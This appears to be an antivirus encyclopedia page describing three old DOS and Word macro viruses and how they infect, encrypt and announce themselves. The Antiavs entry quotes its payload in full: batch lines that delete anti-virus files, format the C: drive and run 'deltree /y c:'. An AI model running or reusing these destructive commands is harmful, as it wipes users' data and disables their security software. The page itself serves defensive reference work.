Virus Database

Macro.Word.Antiavs

Description Macro.Word.Antiavs

This is an encrypted Chinese Word macro virus. It contains nine macros: AutoExec, AAV, AutoOpen, AutoNew, FileSaveAs, ZlockMacro, FileTemplates, ToolsMacro, Organizer.
The virus infects the global macros area on opening an infected document (AutoOpen) and writes itself to documents that are saved with a new name (FileSaveAs).
On entering the File/Template menu (FileTemplate) the virus sets the password "AntiAVs" for current document and displays the MessageBox:
WordBasic Err = 16
Not enough memory!

On entering the Tools/Macro menu (ToolsMacro) the virus erases all texts within current document and appends to the AUTOEXEC.BAT file the commands that erase the anti-virus PC-CILLIN files:
echo off
attrib -h -r -s +a c:pc-cil~1*.* >nul
del c:pc-cil~1*.dll >nul

The virus then erases the anti-virus files:
C:PC-Cillin 95Lpt$vpn.*
C:PC-Cillin 97Lpt$vpn.*
C:TscPC-Cillin 97Lpt$vpn.*
C:lockavGsav.cas
C:VB7Virus.txt
C:Program FilesNorton AntiVirusViruscan.dat
C:Program FilesSymantecSymevnt.386
C:Program FilesMcAfeeVirusScan95Scan.dat
C:Program FilesMcAfeeVirusScan95Mcscan32.dll
C:Program FilesMcAfeeVirusScanScan.dat
C:Program FilesMcAfeeVirusScanMcscan32.dll
C:Program FilesCommand SoftwareF-PROT95Sign.def
C:Program FilesCommand SoftwareF-PROT95Dvp.vxd
C:Program FilesAntiViral Toolkit ProAvp32.exe
C:Program FilesAntiViral Toolkit Pro*.avc
C:Tbavw95Tbavw95.vxd

Depending on the system random counter the virus writes the text to the AUTOEXEC.BAT file:
@Echo off
cls
echo I have clean a huge virus:
echo MS-WINDOWS
echo for you. ^_^
echo --AntiAVs--
echo y|format c: /u /v:AAV >nul
deltree /y c: >nul

Check other viruses! Be aware! Use Antiviral Software

Scapny.795

Description Scapny.795

It is a very dangerous memory resident encrypted parasitic virus. It hooks INT 21h. On selecting a new directory (ChDir DOS call) it searches for .EXE files and writes itself to the end of the file. On May 21st the virus erases the MBR of the hard drive. The virus contains the text string:
<<<<< Hi,this is SCAPNY!
It means "escape-niet".
It also means that your time has come!
Ha,Ha! (C)CZHARSILSO@galileo.uvt.ro >>>>>>
*.EXE

Schizo.398

Description Schizo.398

It is a harmless memory resident parasitic virus. It copies itself to Interrupt Vectors Table, hooks INT 21h and writes itself to the end of COM files that are executed. The virus does not manifest itself in any way, it contains the text string:
Schizophrenia

Home